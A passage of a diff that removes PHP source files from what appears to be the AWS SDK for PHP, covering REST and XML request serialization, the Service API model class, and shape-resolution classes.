} elseif ($location == 'querystring') {
|
||||
$this->applyQuery($name, $member, $value, $opts);
|
||||
} elseif ($location == 'headers') {
|
||||
$this->applyHeaderMap($name, $member, $value, $opts);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($bodyMembers)) {
|
||||
$this->payload($operation->getInput(), $bodyMembers, $opts);
|
||||
}
|
||||
|
||||
return $opts;
|
||||
}
|
||||
|
||||
private function applyPayload(StructureShape $input, $name, array $args, array &$opts)
|
||||
{
|
||||
if (!isset($args[$name])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$m = $input->getMember($name);
|
||||
|
||||
if ($m['streaming'] ||
|
||||
($m['type'] == 'string' || $m['type'] == 'blob')
|
||||
) {
|
||||
// Streaming bodies or payloads that are strings are
|
||||
// always just a stream of data.
|
||||
$opts['body'] = Psr7\stream_for($args[$name]);
|
||||
return;
|
||||
}
|
||||
|
||||
$this->payload($m, $args[$name], $opts);
|
||||
}
|
||||
|
||||
private function applyHeader($name, Shape $member, $value, array &$opts)
|
||||
{
|
||||
if ($member->getType() === 'timestamp') {
|
||||
$timestampFormat = !empty($member['timestampFormat'])
|
||||
? $member['timestampFormat']
|
||||
: 'rfc822';
|
||||
$value = TimestampShape::format($value, $timestampFormat);
|
||||
}
|
||||
if ($member['jsonvalue']) {
|
||||
$value = json_encode($value);
|
||||
if (empty($value) && JSON_ERROR_NONE !== json_last_error()) {
|
||||
throw new \InvalidArgumentException('Unable to encode the provided value'
|
||||
. ' with \'json_encode\'. ' . json_last_error_msg());
|
||||
}
|
||||
|
||||
$value = base64_encode($value);
|
||||
}
|
||||
|
||||
$opts['headers'][$member['locationName'] ?: $name] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Note: This is currently only present in the Amazon S3 model.
|
||||
*/
|
||||
private function applyHeaderMap($name, Shape $member, array $value, array &$opts)
|
||||
{
|
||||
$prefix = $member['locationName'];
|
||||
foreach ($value as $k => $v) {
|
||||
$opts['headers'][$prefix . $k] = $v;
|
||||
}
|
||||
}
|
||||
|
||||
private function applyQuery($name, Shape $member, $value, array &$opts)
|
||||
{
|
||||
if ($member instanceof MapShape) {
|
||||
$opts['query'] = isset($opts['query']) && is_array($opts['query'])
|
||||
? $opts['query'] + $value
|
||||
: $value;
|
||||
} elseif ($value !== null) {
|
||||
$type = $member->getType();
|
||||
if ($type === 'boolean') {
|
||||
$value = $value ? 'true' : 'false';
|
||||
} elseif ($type === 'timestamp') {
|
||||
$timestampFormat = !empty($member['timestampFormat'])
|
||||
? $member['timestampFormat']
|
||||
: 'iso8601';
|
||||
$value = TimestampShape::format($value, $timestampFormat);
|
||||
}
|
||||
|
||||
$opts['query'][$member['locationName'] ?: $name] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
private function buildEndpoint(Operation $operation, array $args, array $opts)
|
||||
{
|
||||
$varspecs = [];
|
||||
|
||||
// Create an associative array of varspecs used in expansions
|
||||
foreach ($operation->getInput()->getMembers() as $name => $member) {
|
||||
if ($member['location'] == 'uri') {
|
||||
$varspecs[$member['locationName'] ?: $name] =
|
||||
isset($args[$name])
|
||||
? $args[$name]
|
||||
: null;
|
||||
}
|
||||
}
|
||||
|
||||
$relative = preg_replace_callback(
|
||||
'/\{([^\}]+)\}/',
|
||||
function (array $matches) use ($varspecs) {
|
||||
$isGreedy = substr($matches[1], -1, 1) == '+';
|
||||
$k = $isGreedy ? substr($matches[1], 0, -1) : $matches[1];
|
||||
if (!isset($varspecs[$k])) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if ($isGreedy) {
|
||||
return str_replace('%2F', '/', rawurlencode($varspecs[$k]));
|
||||
}
|
||||
|
||||
return rawurlencode($varspecs[$k]);
|
||||
},
|
||||
$operation['http']['requestUri']
|
||||
);
|
||||
|
||||
// Add the query string variables or appending to one if needed.
|
||||
if (!empty($opts['query'])) {
|
||||
$append = Psr7\build_query($opts['query']);
|
||||
$relative .= strpos($relative, '?') ? "&{$append}" : "?$append";
|
||||
}
|
||||
|
||||
// If endpoint has path, remove leading '/' to preserve URI resolution.
|
||||
$path = $this->endpoint->getPath();
|
||||
if ($path && $relative[0] === '/') {
|
||||
$relative = substr($relative, 1);
|
||||
}
|
||||
|
||||
// Expand path place holders using Amazon's slightly different URI
|
||||
// template syntax.
|
||||
return UriResolver::resolve($this->endpoint, new Uri($relative));
|
||||
}
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\Service;
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*/
|
||||
class RestXmlSerializer extends RestSerializer
|
||||
{
|
||||
/** @var XmlBody */
|
||||
private $xmlBody;
|
||||
|
||||
/**
|
||||
* @param Service $api Service API description
|
||||
* @param string $endpoint Endpoint to connect to
|
||||
* @param XmlBody $xmlBody Optional XML formatter to use
|
||||
*/
|
||||
public function __construct(
|
||||
Service $api,
|
||||
$endpoint,
|
||||
XmlBody $xmlBody = null
|
||||
) {
|
||||
parent::__construct($api, $endpoint);
|
||||
$this->xmlBody = $xmlBody ?: new XmlBody($api);
|
||||
}
|
||||
|
||||
protected function payload(StructureShape $member, array $value, array &$opts)
|
||||
{
|
||||
$opts['headers']['Content-Type'] = 'application/xml';
|
||||
$opts['body'] = (string) $this->xmlBody->build($member, $value);
|
||||
}
|
||||
}
|
||||
@@ -1,220 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\MapShape;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\ListShape;
|
||||
use Aws\Api\TimestampShape;
|
||||
use XMLWriter;
|
||||
|
||||
/**
|
||||
* @internal Formats the XML body of a REST-XML services.
|
||||
*/
|
||||
class XmlBody
|
||||
{
|
||||
/** @var \Aws\Api\Service */
|
||||
private $api;
|
||||
|
||||
/**
|
||||
* @param Service $api API being used to create the XML body.
|
||||
*/
|
||||
public function __construct(Service $api)
|
||||
{
|
||||
$this->api = $api;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the XML body based on an array of arguments.
|
||||
*
|
||||
* @param Shape $shape Operation being constructed
|
||||
* @param array $args Associative array of arguments
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function build(Shape $shape, array $args)
|
||||
{
|
||||
$xml = new XMLWriter();
|
||||
$xml->openMemory();
|
||||
$xml->startDocument('1.0', 'UTF-8');
|
||||
$this->format($shape, $shape['locationName'] ?: $shape['name'], $args, $xml);
|
||||
$xml->endDocument();
|
||||
|
||||
return $xml->outputMemory();
|
||||
}
|
||||
|
||||
private function startElement(Shape $shape, $name, XMLWriter $xml)
|
||||
{
|
||||
$xml->startElement($name);
|
||||
|
||||
if ($ns = $shape['xmlNamespace']) {
|
||||
$xml->writeAttribute(
|
||||
isset($ns['prefix']) ? "xmlns:{$ns['prefix']}" : 'xmlns',
|
||||
$shape['xmlNamespace']['uri']
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function format(Shape $shape, $name, $value, XMLWriter $xml)
|
||||
{
|
||||
// Any method mentioned here has a custom serialization handler.
|
||||
static $methods = [
|
||||
'add_structure' => true,
|
||||
'add_list' => true,
|
||||
'add_blob' => true,
|
||||
'add_timestamp' => true,
|
||||
'add_boolean' => true,
|
||||
'add_map' => true,
|
||||
'add_string' => true
|
||||
];
|
||||
|
||||
$type = 'add_' . $shape['type'];
|
||||
if (isset($methods[$type])) {
|
||||
$this->{$type}($shape, $name, $value, $xml);
|
||||
} else {
|
||||
$this->defaultShape($shape, $name, $value, $xml);
|
||||
}
|
||||
}
|
||||
|
||||
private function defaultShape(Shape $shape, $name, $value, XMLWriter $xml)
|
||||
{
|
||||
$this->startElement($shape, $name, $xml);
|
||||
$xml->text($value);
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function add_structure(
|
||||
StructureShape $shape,
|
||||
$name,
|
||||
array $value,
|
||||
\XMLWriter $xml
|
||||
) {
|
||||
$this->startElement($shape, $name, $xml);
|
||||
|
||||
foreach ($this->getStructureMembers($shape, $value) as $k => $definition) {
|
||||
$this->format(
|
||||
$definition['member'],
|
||||
$definition['member']['locationName'] ?: $k,
|
||||
$definition['value'],
|
||||
$xml
|
||||
);
|
||||
}
|
||||
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function getStructureMembers(StructureShape $shape, array $value)
|
||||
{
|
||||
$members = [];
|
||||
|
||||
foreach ($value as $k => $v) {
|
||||
if ($v !== null && $shape->hasMember($k)) {
|
||||
$definition = [
|
||||
'member' => $shape->getMember($k),
|
||||
'value' => $v,
|
||||
];
|
||||
|
||||
if ($definition['member']['xmlAttribute']) {
|
||||
// array_unshift_associative
|
||||
$members = [$k => $definition] + $members;
|
||||
} else {
|
||||
$members[$k] = $definition;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $members;
|
||||
}
|
||||
|
||||
private function add_list(
|
||||
ListShape $shape,
|
||||
$name,
|
||||
array $value,
|
||||
XMLWriter $xml
|
||||
) {
|
||||
$items = $shape->getMember();
|
||||
|
||||
if ($shape['flattened']) {
|
||||
$elementName = $name;
|
||||
} else {
|
||||
$this->startElement($shape, $name, $xml);
|
||||
$elementName = $items['locationName'] ?: 'member';
|
||||
}
|
||||
|
||||
foreach ($value as $v) {
|
||||
$this->format($items, $elementName, $v, $xml);
|
||||
}
|
||||
|
||||
if (!$shape['flattened']) {
|
||||
$xml->endElement();
|
||||
}
|
||||
}
|
||||
|
||||
private function add_map(
|
||||
MapShape $shape,
|
||||
$name,
|
||||
array $value,
|
||||
XMLWriter $xml
|
||||
) {
|
||||
$xmlEntry = $shape['flattened'] ? $shape['locationName'] : 'entry';
|
||||
$xmlKey = $shape->getKey()['locationName'] ?: 'key';
|
||||
$xmlValue = $shape->getValue()['locationName'] ?: 'value';
|
||||
|
||||
$this->startElement($shape, $name, $xml);
|
||||
|
||||
foreach ($value as $key => $v) {
|
||||
$this->startElement($shape, $xmlEntry, $xml);
|
||||
$this->format($shape->getKey(), $xmlKey, $key, $xml);
|
||||
$this->format($shape->getValue(), $xmlValue, $v, $xml);
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function add_blob(Shape $shape, $name, $value, XMLWriter $xml)
|
||||
{
|
||||
$this->startElement($shape, $name, $xml);
|
||||
$xml->writeRaw(base64_encode($value));
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function add_timestamp(
|
||||
TimestampShape $shape,
|
||||
$name,
|
||||
$value,
|
||||
XMLWriter $xml
|
||||
) {
|
||||
$this->startElement($shape, $name, $xml);
|
||||
$timestampFormat = !empty($shape['timestampFormat'])
|
||||
? $shape['timestampFormat']
|
||||
: 'iso8601';
|
||||
$xml->writeRaw(TimestampShape::format($value, $timestampFormat));
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function add_boolean(
|
||||
Shape $shape,
|
||||
$name,
|
||||
$value,
|
||||
XMLWriter $xml
|
||||
) {
|
||||
$this->startElement($shape, $name, $xml);
|
||||
$xml->writeRaw($value ? 'true' : 'false');
|
||||
$xml->endElement();
|
||||
}
|
||||
|
||||
private function add_string(
|
||||
Shape $shape,
|
||||
$name,
|
||||
$value,
|
||||
XMLWriter $xml
|
||||
) {
|
||||
if ($shape['xmlAttribute']) {
|
||||
$xml->writeAttribute($shape['locationName'] ?: $name, $value);
|
||||
} else {
|
||||
$this->defaultShape($shape, $name, $value, $xml);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,468 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
use Aws\Api\Serializer\QuerySerializer;
|
||||
use Aws\Api\Serializer\Ec2ParamBuilder;
|
||||
use Aws\Api\Parser\QueryParser;
|
||||
|
||||
/**
|
||||
* Represents a web service API model.
|
||||
*/
|
||||
class Service extends AbstractModel
|
||||
{
|
||||
/** @var callable */
|
||||
private $apiProvider;
|
||||
|
||||
/** @var string */
|
||||
private $serviceName;
|
||||
|
||||
/** @var string */
|
||||
private $apiVersion;
|
||||
|
||||
/** @var Operation[] */
|
||||
private $operations = [];
|
||||
|
||||
/** @var array */
|
||||
private $paginators = null;
|
||||
|
||||
/** @var array */
|
||||
private $waiters = null;
|
||||
|
||||
/**
|
||||
* @param array $definition
|
||||
* @param callable $provider
|
||||
*
|
||||
* @internal param array $definition Service description
|
||||
*/
|
||||
public function __construct(array $definition, callable $provider)
|
||||
{
|
||||
static $defaults = [
|
||||
'operations' => [],
|
||||
'shapes' => [],
|
||||
'metadata' => []
|
||||
], $defaultMeta = [
|
||||
'apiVersion' => null,
|
||||
'serviceFullName' => null,
|
||||
'serviceId' => null,
|
||||
'endpointPrefix' => null,
|
||||
'signingName' => null,
|
||||
'signatureVersion' => null,
|
||||
'protocol' => null,
|
||||
'uid' => null
|
||||
];
|
||||
|
||||
$definition += $defaults;
|
||||
$definition['metadata'] += $defaultMeta;
|
||||
$this->definition = $definition;
|
||||
$this->apiProvider = $provider;
|
||||
parent::__construct($definition, new ShapeMap($definition['shapes']));
|
||||
|
||||
if (isset($definition['metadata']['serviceIdentifier'])) {
|
||||
$this->serviceName = $this->getServiceName();
|
||||
} else {
|
||||
$this->serviceName = $this->getEndpointPrefix();
|
||||
}
|
||||
|
||||
$this->apiVersion = $this->getApiVersion();
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates a request serializer for the provided API object.
|
||||
*
|
||||
* @param Service $api API that contains a protocol.
|
||||
* @param string $endpoint Endpoint to send requests to.
|
||||
*
|
||||
* @return callable
|
||||
* @throws \UnexpectedValueException
|
||||
*/
|
||||
public static function createSerializer(Service $api, $endpoint)
|
||||
{
|
||||
static $mapping = [
|
||||
'json' => 'Aws\Api\Serializer\JsonRpcSerializer',
|
||||
'query' => 'Aws\Api\Serializer\QuerySerializer',
|
||||
'rest-json' => 'Aws\Api\Serializer\RestJsonSerializer',
|
||||
'rest-xml' => 'Aws\Api\Serializer\RestXmlSerializer'
|
||||
];
|
||||
|
||||
$proto = $api->getProtocol();
|
||||
|
||||
if (isset($mapping[$proto])) {
|
||||
return new $mapping[$proto]($api, $endpoint);
|
||||
}
|
||||
|
||||
if ($proto == 'ec2') {
|
||||
return new QuerySerializer($api, $endpoint, new Ec2ParamBuilder());
|
||||
}
|
||||
|
||||
throw new \UnexpectedValueException(
|
||||
'Unknown protocol: ' . $api->getProtocol()
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates an error parser for the given protocol.
|
||||
*
|
||||
* Redundant method signature to preserve backwards compatibility.
|
||||
*
|
||||
* @param string $protocol Protocol to parse (e.g., query, json, etc.)
|
||||
*
|
||||
* @return callable
|
||||
* @throws \UnexpectedValueException
|
||||
*/
|
||||
public static function createErrorParser($protocol, Service $api = null)
|
||||
{
|
||||
static $mapping = [
|
||||
'json' => 'Aws\Api\ErrorParser\JsonRpcErrorParser',
|
||||
'query' => 'Aws\Api\ErrorParser\XmlErrorParser',
|
||||
'rest-json' => 'Aws\Api\ErrorParser\RestJsonErrorParser',
|
||||
'rest-xml' => 'Aws\Api\ErrorParser\XmlErrorParser',
|
||||
'ec2' => 'Aws\Api\ErrorParser\XmlErrorParser'
|
||||
];
|
||||
|
||||
if (isset($mapping[$protocol])) {
|
||||
return new $mapping[$protocol]($api);
|
||||
}
|
||||
|
||||
throw new \UnexpectedValueException("Unknown protocol: $protocol");
|
||||
}
|
||||
|
||||
/**
|
||||
* Applies the listeners needed to parse client models.
|
||||
*
|
||||
* @param Service $api API to create a parser for
|
||||
* @return callable
|
||||
* @throws \UnexpectedValueException
|
||||
*/
|
||||
public static function createParser(Service $api)
|
||||
{
|
||||
static $mapping = [
|
||||
'json' => 'Aws\Api\Parser\JsonRpcParser',
|
||||
'query' => 'Aws\Api\Parser\QueryParser',
|
||||
'rest-json' => 'Aws\Api\Parser\RestJsonParser',
|
||||
'rest-xml' => 'Aws\Api\Parser\RestXmlParser'
|
||||
];
|
||||
|
||||
$proto = $api->getProtocol();
|
||||
if (isset($mapping[$proto])) {
|
||||
return new $mapping[$proto]($api);
|
||||
}
|
||||
|
||||
if ($proto == 'ec2') {
|
||||
return new QueryParser($api, null, false);
|
||||
}
|
||||
|
||||
throw new \UnexpectedValueException(
|
||||
'Unknown protocol: ' . $api->getProtocol()
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the full name of the service
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getServiceFullName()
|
||||
{
|
||||
return $this->definition['metadata']['serviceFullName'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the service id
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getServiceId()
|
||||
{
|
||||
return $this->definition['metadata']['serviceId'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the API version of the service
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getApiVersion()
|
||||
{
|
||||
return $this->definition['metadata']['apiVersion'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the API version of the service
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getEndpointPrefix()
|
||||
{
|
||||
return $this->definition['metadata']['endpointPrefix'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the signing name used by the service.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getSigningName()
|
||||
{
|
||||
return $this->definition['metadata']['signingName']
|
||||
?: $this->definition['metadata']['endpointPrefix'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the service name.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getServiceName()
|
||||
{
|
||||
return $this->definition['metadata']['serviceIdentifier'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the default signature version of the service.
|
||||
*
|
||||
* Note: this method assumes "v4" when not specified in the model.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getSignatureVersion()
|
||||
{
|
||||
return $this->definition['metadata']['signatureVersion'] ?: 'v4';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the protocol used by the service.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getProtocol()
|
||||
{
|
||||
return $this->definition['metadata']['protocol'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the uid string used by the service
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getUid()
|
||||
{
|
||||
return $this->definition['metadata']['uid'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the description has a specific operation by name.
|
||||
*
|
||||
* @param string $name Operation to check by name
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function hasOperation($name)
|
||||
{
|
||||
return isset($this['operations'][$name]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an operation by name.
|
||||
*
|
||||
* @param string $name Operation to retrieve by name
|
||||
*
|
||||
* @return Operation
|
||||
* @throws \InvalidArgumentException If the operation is not found
|
||||
*/
|
||||
public function getOperation($name)
|
||||
{
|
||||
if (!isset($this->operations[$name])) {
|
||||
if (!isset($this->definition['operations'][$name])) {
|
||||
throw new \InvalidArgumentException("Unknown operation: $name");
|
||||
}
|
||||
$this->operations[$name] = new Operation(
|
||||
$this->definition['operations'][$name],
|
||||
$this->shapeMap
|
||||
);
|
||||
}
|
||||
|
||||
return $this->operations[$name];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all of the operations of the description.
|
||||
*
|
||||
* @return Operation[]
|
||||
*/
|
||||
public function getOperations()
|
||||
{
|
||||
$result = [];
|
||||
foreach ($this->definition['operations'] as $name => $definition) {
|
||||
$result[$name] = $this->getOperation($name);
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all of the error shapes of the service
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getErrorShapes()
|
||||
{
|
||||
$result = [];
|
||||
foreach ($this->definition['shapes'] as $name => $definition) {
|
||||
if (!empty($definition['exception'])) {
|
||||
$definition['name'] = $name;
|
||||
$result[] = new StructureShape($definition, $this->getShapeMap());
|
||||
}
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all of the service metadata or a specific metadata key value.
|
||||
*
|
||||
* @param string|null $key Key to retrieve or null to retrieve all metadata
|
||||
*
|
||||
* @return mixed Returns the result or null if the key is not found
|
||||
*/
|
||||
public function getMetadata($key = null)
|
||||
{
|
||||
if (!$key) {
|
||||
return $this['metadata'];
|
||||
}
|
||||
|
||||
if (isset($this->definition['metadata'][$key])) {
|
||||
return $this->definition['metadata'][$key];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets an associative array of available paginator configurations where
|
||||
* the key is the name of the paginator, and the value is the paginator
|
||||
* configuration.
|
||||
*
|
||||
* @return array
|
||||
* @unstable The configuration format of paginators may change in the future
|
||||
*/
|
||||
public function getPaginators()
|
||||
{
|
||||
if (!isset($this->paginators)) {
|
||||
$res = call_user_func(
|
||||
$this->apiProvider,
|
||||
'paginator',
|
||||
$this->serviceName,
|
||||
$this->apiVersion
|
||||
);
|
||||
$this->paginators = isset($res['pagination'])
|
||||
? $res['pagination']
|
||||
: [];
|
||||
}
|
||||
|
||||
return $this->paginators;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines if the service has a paginator by name.
|
||||
*
|
||||
* @param string $name Name of the paginator.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function hasPaginator($name)
|
||||
{
|
||||
return isset($this->getPaginators()[$name]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieve a paginator by name.
|
||||
*
|
||||
* @param string $name Paginator to retrieve by name. This argument is
|
||||
* typically the operation name.
|
||||
* @return array
|
||||
* @throws \UnexpectedValueException if the paginator does not exist.
|
||||
* @unstable The configuration format of paginators may change in the future
|
||||
*/
|
||||
public function getPaginatorConfig($name)
|
||||
{
|
||||
static $defaults = [
|
||||
'input_token' => null,
|
||||
'output_token' => null,
|
||||
'limit_key' => null,
|
||||
'result_key' => null,
|
||||
'more_results' => null,
|
||||
];
|
||||
|
||||
if ($this->hasPaginator($name)) {
|
||||
return $this->paginators[$name] + $defaults;
|
||||
}
|
||||
|
||||
throw new \UnexpectedValueException("There is no {$name} "
|
||||
. "paginator defined for the {$this->serviceName} service.");
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets an associative array of available waiter configurations where the
|
||||
* key is the name of the waiter, and the value is the waiter
|
||||
* configuration.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getWaiters()
|
||||
{
|
||||
if (!isset($this->waiters)) {
|
||||
$res = call_user_func(
|
||||
$this->apiProvider,
|
||||
'waiter',
|
||||
$this->serviceName,
|
||||
$this->apiVersion
|
||||
);
|
||||
$this->waiters = isset($res['waiters'])
|
||||
? $res['waiters']
|
||||
: [];
|
||||
}
|
||||
|
||||
return $this->waiters;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines if the service has a waiter by name.
|
||||
*
|
||||
* @param string $name Name of the waiter.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function hasWaiter($name)
|
||||
{
|
||||
return isset($this->getWaiters()[$name]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a waiter configuration by name.
|
||||
*
|
||||
* @param string $name Name of the waiter by name.
|
||||
*
|
||||
* @return array
|
||||
* @throws \UnexpectedValueException if the waiter does not exist.
|
||||
*/
|
||||
public function getWaiterConfig($name)
|
||||
{
|
||||
// Error if the waiter is not defined
|
||||
if ($this->hasWaiter($name)) {
|
||||
return $this->waiters[$name];
|
||||
}
|
||||
|
||||
throw new \UnexpectedValueException("There is no {$name} waiter "
|
||||
. "defined for the {$this->serviceName} service.");
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the shape map used by the API.
|
||||
*
|
||||
* @return ShapeMap
|
||||
*/
|
||||
public function getShapeMap()
|
||||
{
|
||||
return $this->shapeMap;
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Base class representing a modeled shape.
|
||||
*/
|
||||
class Shape extends AbstractModel
|
||||
{
|
||||
/**
|
||||
* Get a concrete shape for the given definition.
|
||||
*
|
||||
* @param array $definition
|
||||
* @param ShapeMap $shapeMap
|
||||
*
|
||||
* @return mixed
|
||||
* @throws \RuntimeException if the type is invalid
|
||||
*/
|
||||
public static function create(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
static $map = [
|
||||
'structure' => 'Aws\Api\StructureShape',
|
||||
'map' => 'Aws\Api\MapShape',
|
||||
'list' => 'Aws\Api\ListShape',
|
||||
'timestamp' => 'Aws\Api\TimestampShape',
|
||||
'integer' => 'Aws\Api\Shape',
|
||||
'double' => 'Aws\Api\Shape',
|
||||
'float' => 'Aws\Api\Shape',
|
||||
'long' => 'Aws\Api\Shape',
|
||||
'string' => 'Aws\Api\Shape',
|
||||
'byte' => 'Aws\Api\Shape',
|
||||
'character' => 'Aws\Api\Shape',
|
||||
'blob' => 'Aws\Api\Shape',
|
||||
'boolean' => 'Aws\Api\Shape'
|
||||
];
|
||||
|
||||
if (isset($definition['shape'])) {
|
||||
return $shapeMap->resolve($definition);
|
||||
}
|
||||
|
||||
if (!isset($map[$definition['type']])) {
|
||||
throw new \RuntimeException('Invalid type: '
|
||||
. print_r($definition, true));
|
||||
}
|
||||
|
||||
$type = $map[$definition['type']];
|
||||
|
||||
return new $type($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the type of the shape
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getType()
|
||||
{
|
||||
return $this->definition['type'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the name of the shape
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getName()
|
||||
{
|
||||
return $this->definition['name'];
|
||||
}
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Builds shape based on shape references.
|
||||
*/
|
||||
class ShapeMap
|
||||
{
|
||||
/** @var array */
|
||||
private $definitions;
|
||||
|
||||
/** @var Shape[] */
|
||||
private $simple;
|
||||
|
||||
/**
|
||||
* @param array $shapeModels Associative array of shape definitions.
|
||||
*/
|
||||
public function __construct(array $shapeModels)
|
||||
{
|
||||
$this->definitions = $shapeModels;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an array of shape names.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getShapeNames()
|
||||
{
|
||||
return array_keys($this->definitions);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a shape reference
|
||||
*
|
||||
* @param array $shapeRef Shape reference shape
|
||||
*
|
||||
* @return Shape
|
||||
* @throws \InvalidArgumentException
|
||||
*/
|
||||
public function resolve(array $shapeRef)
|
||||
{
|
||||
$shape = $shapeRef['shape'];
|
||||
|
||||
if (!isset($this->definitions[$shape])) {
|
||||
throw new \InvalidArgumentException('Shape not found: ' . $shape);
|
||||
}
|
||||
|
||||
$isSimple = count($shapeRef) == 1;
|
||||
if ($isSimple && isset($this->simple[$shape])) {
|
||||
return $this->simple[$shape];
|
||||
}
|
||||
|
||||
$definition = $shapeRef + $this->definitions[$shape];
|
||||
$definition['name'] = $definition['shape'];
|
||||
if (isset($definition['shape'])) {
|
||||
unset($definition['shape']);
|
||||
}
|
||||
|
||||
$result = Shape::create($definition, $this);
|
||||
|
||||
if ($isSimple) {
|
||||
$this->simple[$shape] = $result;
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
@@ -1,79 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Represents a structure shape and resolve member shape references.
|
||||
*/
|
||||
class StructureShape extends Shape
|
||||
{
|
||||
/**
|
||||
* @var Shape[]
|
||||
*/
|
||||
private $members;
|
||||
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$definition['type'] = 'structure';
|
||||
|
||||
if (!isset($definition['members'])) {
|
||||
$definition['members'] = [];
|
||||
}
|
||||
|
||||
parent::__construct($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a list of all members
|
||||
*
|
||||
* @return Shape[]
|
||||
*/
|
||||
public function getMembers()
|
||||
{
|
||||
if (empty($this->members)) {
|
||||
$this->generateMembersHash();
|
||||
}
|
||||
|
||||
return $this->members;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a specific member exists by name.
|
||||
*
|
||||
* @param string $name Name of the member to check
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function hasMember($name)
|
||||
{
|
||||
return isset($this->definition['members'][$name]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieve a member by name.
|
||||
*
|
||||
* @param string $name Name of the member to retrieve
|
||||
*
|
||||
* @return Shape
|
||||
* @throws \InvalidArgumentException if the member is not found.
|
||||
*/
|
||||
public function getMember($name)
|
||||
{
|
||||
$members = $this->getMembers();
|
||||
|
||||
if (!isset($members[$name])) {
|
||||
throw new \InvalidArgumentException('Unknown member ' . $name);
|
||||
}
|
||||
|
||||
return $members[$name];
|
||||
}
|
||||
|
||||
|
||||
private function generateMembersHash()
|
||||
{
|
||||
$this->members = [];
|
||||
|
||||
foreach ($this->definition['members'] as $name => $definition) {
|
||||
$this->members[$name] = $this->shapeFor($definition);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
